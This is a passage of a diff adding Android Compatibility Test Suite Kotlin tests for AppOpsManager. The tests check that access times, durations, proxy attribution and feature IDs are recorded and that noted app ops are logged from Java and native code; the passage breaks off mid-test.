+ // Using the shell identity causes a trusted proxy note
+ runWithShellPermissionIdentity {
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ }
+ val afterTrusted = System.currentTimeMillis()
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // self note
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features[null]!!
+
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
+ .isIn(before..afterTrusted)
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY)).isIn(before..afterTrusted)
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
+
+ // When asked for any flags, the second access overrides the first
+ assertThat(featureOpEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
+ assertThat(opEntry.getLastAccessTime(OP_FLAGS_ALL)).isIn(afterTrusted..after)
+ }
+
+ @Test
+ fun noteForTwoFeaturesCheckOpEntries() {
+ val before = System.currentTimeMillis()
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "firstFeature", null)
+ val afterFirst = System.currentTimeMillis()
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // self note
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "secondFeature", null)
+ val after = System.currentTimeMillis()
+
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)
+ val firstFeatureOpEntry = opEntry.features["firstFeature"]!!
+ val secondFeatureOpEntry = opEntry.features["secondFeature"]!!
+
+ assertThat(firstFeatureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..afterFirst)
+ assertThat(secondFeatureOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
+
+ // When asked for any feature, the second access overrides the first
+ assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
+ }
+
+ @Test
+ fun noteFromTwoProxiesAndVerifyProxyInfo() {
+ // Find another app to blame
+ val otherAppInfo = context.packageManager
+ .resolveActivity(Intent(ACTION_APPLICATION_PREFERENCES), 0)!!
+ .activityInfo.applicationInfo
+ val otherPkg = otherAppInfo.packageName
+ val otherUid = otherAppInfo.uid
+
+ // Using the shell identity causes a trusted proxy note
+ runWithShellPermissionIdentity {
+ context.createFeatureContext("firstProxyFeature")
+ .getSystemService(AppOpsManager::class.java)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+ }
+
+ // Make sure timestamps are distinct
+ sleep(1)
+
+ // untrusted proxy note
+ context.createFeatureContext("secondProxyFeature")
+ .getSystemService(AppOpsManager::class.java)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)
+ val featureOpEntry = opEntry.features[null]!!
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+ .isEqualTo(myPackage)
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+ assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.featureId)
+ .isEqualTo("firstProxyFeature")
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.featureId)
+ .isEqualTo("secondProxyFeature")
+
+ // If asked for all op-flags the second feature overrides the first
+ assertThat(featureOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.featureId)
+ .isEqualTo("secondProxyFeature")
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyIsRunning() {
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ features["testFeature"]?.let { assertThat(it.isRunning).isFalse() }
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isTrue()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isTrue()
+ assertThat(features["testFeature"]!!.isRunning).isFalse()
+ assertThat(isRunning).isTrue()
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.isRunning).isFalse()
+ assertThat(features["testFeature"]!!.isRunning).isFalse()
+ assertThat(isRunning).isFalse()
+ }
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyLastAccess() {
+ val beforeNullFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val afterNullFeatureStart = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ features["testFeature"]?.let {
+ assertThat(it.getLastAccessTime(OP_FLAGS_ALL)).isAtMost(beforeNullFeatureStart)
+ }
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ }
+
+ val beforeFirstFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val afterFirstFeatureStart = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ // Nested startOps do _not_ count as another access
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStart..afterNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ assertThat(getLastAccessTime(OP_FLAGS_ALL))
+ .isIn(beforeFirstFeatureStart..afterFirstFeatureStart)
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+ }
+
+ @Test
+ fun startStopMultipleOpsAndVerifyDuration() {
+ val beforeNullFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val afterNullFeatureStart = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ }
+ }
+
+ val beforeFeatureStart = System.currentTimeMillis();
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+ val afterFeatureStart = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+
+ // The last duration is the duration of the last started feature
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature", null)
+
+ // Nested startOps do _not_ start another duration counting, hence the nested
+ // startOp and finishOp calls have no affect
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ val beforeFeatureStop = System.currentTimeMillis();
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, "testFeature")
+ val afterFeatureStop = System.currentTimeMillis();
+
+ run {
+ val beforeGetOp = System.currentTimeMillis();
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ val afterGetOp = System.currentTimeMillis();
+
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterNullFeatureStart
+ ..afterGetOp - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeGetOp - afterFeatureStart
+ ..afterGetOp - beforeFeatureStart)
+ }
+ }
+
+ val beforeNullFeatureStop = System.currentTimeMillis();
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+ val afterNullFeatureStop = System.currentTimeMillis();
+
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)) {
+ assertThat(features[null]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeNullFeatureStop - afterNullFeatureStart
+ ..afterNullFeatureStop - beforeNullFeatureStart)
+ assertThat(features["testFeature"]!!.getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ assertThat(getLastDuration(OP_FLAGS_ALL))
+ .isIn(beforeFeatureStop - afterFeatureStart
+ ..afterFeatureStop - beforeFeatureStart)
+ }
+ }
+}
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
new file mode 100644
index 0000000..9601d21
--- /dev/null
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -0,0 +1,830 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appops.cts
+
+import android.app.AppOpsManager
+import android.app.AppOpsManager.AppOpsCollector
+import android.app.AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY
+import android.app.AppOpsManager.OPSTR_CAMERA
+import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
+import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AppOpsManager.OPSTR_READ_CONTACTS
+import android.app.AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE
+import android.app.AppOpsManager.OPSTR_READ_PHONE_STATE
+import android.app.AppOpsManager.OPSTR_WRITE_CONTACTS
+import android.app.AppOpsManager.strOpToOp
+import android.app.AsyncNotedAppOp
+import android.app.PendingIntent
+import android.app.SyncNotedAppOp
+import android.app.WallpaperManager
+import android.app.WallpaperManager.FLAG_SYSTEM
+import android.bluetooth.BluetoothManager
+import android.content.BroadcastReceiver
+import android.content.ComponentName
+import android.content.ContentValues
+import android.content.Context
+import android.content.Context.BIND_AUTO_CREATE
+import android.content.Intent
+import android.content.IntentFilter
+import android.content.ServiceConnection
+import android.content.pm.PackageManager.FEATURE_BLUETOOTH
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraManager
+import android.location.Location
+import android.location.LocationListener
+import android.location.LocationManager
+import android.net.wifi.WifiManager
+import android.os.Bundle
+import android.os.Handler
+import android.os.IBinder
+import android.os.Looper
+import android.platform.test.annotations.AppModeFull
+import android.provider.ContactsContract
+import android.telephony.TelephonyManager
+import androidx.test.platform.app.InstrumentationRegistry
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Assert.fail
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.CompletableFuture
+import java.util.concurrent.Executor
+import java.util.concurrent.TimeUnit.MILLISECONDS
+import java.util.concurrent.TimeoutException
+
+private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatusesappops"
+private const val TIMEOUT_MILLIS = 10000L
+
+private external fun nativeNoteOp(
+ op: Int,
+ uid: Int,
+ packageName: String,
+ featureId: String? = null,
+ message: String? = null
+)
+
+@AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
+class AppOpsLoggingTest {
+ private val context = InstrumentationRegistry.getInstrumentation().targetContext
+ private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
+
+ private val myUid = android.os.Process.myUid()
+ private val myPackage = context.packageName
+
+ private lateinit var testService: IAppOpsUserService
+ private lateinit var serviceConnection: ServiceConnection
+
+ // Collected note-op calls inside of this process
+ private val noted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+ private val selfNoted = mutableListOf<Pair<SyncNotedAppOp, Array<StackTraceElement>>>()
+ private val asyncNoted = mutableListOf<AsyncNotedAppOp>()
+
+ @Before
+ fun loadNativeCode() {
+ System.loadLibrary("CtsAppOpsTestCases_jni")
+ }
+
+ @Before
+ fun setNotedAppOpsCollectorAndClearCollectedNoteOps() {
+ setNotedAppOpsCollector()
+ clearCollectedNotedOps()
+ }
+
+ @Before
+ fun connectToService() {
+ val serviceIntent = Intent()
+ serviceIntent.component = ComponentName(TEST_SERVICE_PKG,
+ TEST_SERVICE_PKG + ".AppOpsUserService")
+
+ val newService = CompletableFuture<IAppOpsUserService>()
+ serviceConnection = object : ServiceConnection {
+ override fun onServiceConnected(name: ComponentName?, service: IBinder?) {
+ newService.complete(IAppOpsUserService.Stub.asInterface(service))
+ }
+
+ override fun onServiceDisconnected(name: ComponentName?) {
+ fail("test service disconnected")
+ }
+ }
+
+ context.bindService(serviceIntent, serviceConnection, BIND_AUTO_CREATE)
+ testService = newService.get(TIMEOUT_MILLIS, MILLISECONDS)
+ }
+
+ private fun clearCollectedNotedOps() {
+ noted.clear()
+ selfNoted.clear()
+ asyncNoted.clear()
+ }
+
+ private fun setNotedAppOpsCollector() {
+ appOpsManager.setNotedAppOpsCollector(
+ object : AppOpsCollector() {
+ override fun onNoted(op: SyncNotedAppOp) {
+ noted.add(op to Throwable().stackTrace)
+ }
+
+ override fun onSelfNoted(op: SyncNotedAppOp) {
+ selfNoted.add(op to Throwable().stackTrace)
+ }
+
+ override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+ asyncNoted.add(asyncOp)
+ }
+
+ override fun getAsyncNotedExecutor(): Executor {
+ // Execute callbacks immediately
+ return Executor { it.run() }
+ }
+ })
+ }
+
+ private inline fun rethrowThrowableFrom(r: () -> Unit) {
+ try {
+ r()
+ } catch (e: Throwable) {
+ throw e.cause ?: e
+ }
+ }
+
+ @Test
+ fun selfNoteAndCheckLog() {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, null)
+
+ assertThat(noted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+
+ assertThat(selfNoted.map { it.first.featureId to it.first.op })
+ .containsExactly(null to OPSTR_COARSE_LOCATION)
+ }
+
+ @Test
+ fun selfNoteAndCheckFeature() {
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, TEST_FEATURE_ID, null)
+
+ assertThat(selfNoted.map { it.first.featureId }).containsExactly(TEST_FEATURE_ID)
+ }
+
+ @Test
+ fun nativeSelfNoteAndCheckLog() {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage)
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+
+ // All native notes will be reported as async notes
+ eventually {
+ assertThat(asyncNoted[0].featureId).isEqualTo(null)
+ // There is always a message.
+ assertThat(asyncNoted[0].message).isNotEqualTo(null)
+ assertThat(asyncNoted[0].op).isEqualTo(OPSTR_COARSE_LOCATION)
+ assertThat(asyncNoted[0].notingUid).isEqualTo(myUid)
+ // Noting package name is never set for native notes
+ assertThat(asyncNoted[0].notingPackageName).isEqualTo(null)
+ }
+ }
+
+ @Test
+ fun nativeSelfNoteWithFeatureAndMsgAndCheckLog() {
+ nativeNoteOp(strOpToOp(OPSTR_COARSE_LOCATION), myUid, myPackage,
+ featureId = TEST_FEATURE_ID, message = "testMsg")
+
+ // All native notes will be reported as async notes
+ eventually {
+ assertThat(asyncNoted[0].featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(asyncNoted[0].message).isEqualTo("testMsg")
+ }
+ }
+
+ @Test
+ fun selfNotesAreDeliveredAsAsyncOpsWhenCollectorIsRegistered() {
+ appOpsManager.setNotedAppOpsCollector(null)
+
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, TEST_FEATURE_ID, null)
+ appOpsManager.noteOpNoThrow(OPSTR_COARSE_LOCATION, myUid, myPackage, null, "test msg")
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted).isEmpty()
+
+ setNotedAppOpsCollector()
+
+ assertThat(noted).isEmpty()
+ assertThat(selfNoted).isEmpty()
+ assertThat(asyncNoted.map { it.featureId to it.op }).containsExactly(
+ null to OPSTR_COARSE_LOCATION, TEST_FEATURE_ID to OPSTR_COARSE_LOCATION)
+ assertThat(asyncNoted.map { it.message }).contains("test msg")
+ }
+
+ @Test
+ fun disableCollectedAndNoteSyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.disableCollectorAndCallSyncOpsWhichWillNotBeCollected(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun disableCollectedAndNoteASyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.disableCollectorAndCallASyncOpsWhichWillBeCollected(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncWithFeatureOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpWithFeatureAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun callsBackIntoServiceAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatCallsBackIntoServiceAndCheckLog(
+ AppOpsUserClient(context, testService))
+ }
+ }
+
+ @Test
+ fun noteSyncOpFromNativeCodeAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpFromNativeCodeAndCheckLog(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpFromNativeCodeAndCheckMessage() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpFromNativeCodeAndCheckMessage(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpAndCheckStackTrace() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpAndCheckStackTrace(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteNonPermissionSyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesNonPermissionSyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpTwiceAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesTwiceSyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteTwoSyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesTwoSyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpNativeAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteNonPermissionSyncOpNativeAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesNonPermissionSyncOpNativelyAndCheckLog(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpOneway() {
+ rethrowThrowableFrom {
+ testService.callOnewayApiThatNotesSyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpOnewayNative() {
+ rethrowThrowableFrom {
+ testService.callOnewayApiThatNotesSyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpOtherUidAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpOtherUidAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteSyncOpOtherUidNativeAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesSyncOpOtherUidNativelyAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpWithFeatureAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpWithFeatureAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpAndCheckDefaultMessage() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpAndCheckDefaultMessage(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpAndCheckCustomMessage() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpAndCheckCustomMessage(AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpNativelyAndCheckCustomMessage() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpNativelyAndCheckCustomMessage(
+ AppOpsUserClient(context))
+ }
+ }
+
+ @Test
+ fun noteAsyncOpNativeAndCheckLog() {
+ rethrowThrowableFrom {
+ testService.callApiThatNotesAsyncOpNativelyAndCheckLog(AppOpsUserClient(context))
+ }
+ }
+
+ /**
+ * Realistic end-to-end test for scanning wifi
+ */
+ @Test
+ fun getWifiScanResults() {
+ val wifiManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(WifiManager::class.java)
+
+ val results = wifiManager.scanResults
+
+ assertThat(noted[0].first.op).isEqualTo(OPSTR_FINE_LOCATION)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getWifiScanResults")
+ }
+
+ /**
+ * Realistic end-to-end test for scanning bluetooth
+ */
+ @Test
+ fun getBTScanResults() {
+ assumeTrue("Device does not support bluetooth",
+ context.packageManager.hasSystemFeature(FEATURE_BLUETOOTH))
+
+ val btManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(BluetoothManager::class.java)
+
+ btManager.adapter.startDiscovery()
+ try {
+ assertThat(noted[0].first.op).isEqualTo(OPSTR_FINE_LOCATION)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getBTScanResults")
+ } finally {
+ btManager.adapter.cancelDiscovery()
+ }
+ }
+
+ /**
+ * Realistic end-to-end test for getting last location
+ */
+ @Test
+ fun getLastKnownLocation() {
+ val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(LocationManager::class.java)
+
+ assumeTrue("Device does not have a network provider",
+ locationManager.getProviders(true).contains(LocationManager.NETWORK_PROVIDER))
+
+ val location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER)
+ assumeTrue("Could not get last known location", location != null)
+
+ assertThat(noted.map { it.first.op }).containsAnyOf(OPSTR_COARSE_LOCATION,
+ OPSTR_FINE_LOCATION)
+ assertThat(noted[0].first.featureId).isEqualTo(TEST_FEATURE_ID)
+ assertThat(noted[0].second.map { it.methodName }).contains("getLastKnownLocation")
+ }
+
+ /**
+ * Realistic end-to-end test for getting an async location
+ */
+ @Test
+ fun getAsyncLocation() {
+ val locationManager = context.createFeatureContext(TEST_FEATURE_ID)
+ .getSystemService(LocationManager::class.java)
+
+ assumeTrue("Device does not have a network provider",
+ locationManager.getProviders(true).contains(LocationManager.NETWORK_PROVIDER))
+
+ val gotLocationChangeCallback = CompletableFuture<Unit>()
+
+ val locationListener = object : LocationListener {
+ override fun onStatusChanged(provider: String?, status: Int, extras: Bundle?) {}
+ override fun onProviderEnabled(provider: String?) {}
+ override fun onProviderDisabled(provider: String?) {}
+
+ override fun onLocationChanged(location: Location?) {
+ gotLocationChangeCallback.complete(Unit)
+ }
+ }
+
+ locationManager.requestSingleUpdate(LocationManager.NETWORK_PROVIDER, locationListener,
+ Looper.getMainLooper())
+
+ try {
+ gotLocationChangeCallback.get(TIMEOUT_MILLIS, MILLISECONDS)
+ } catch (e: TimeoutException) {
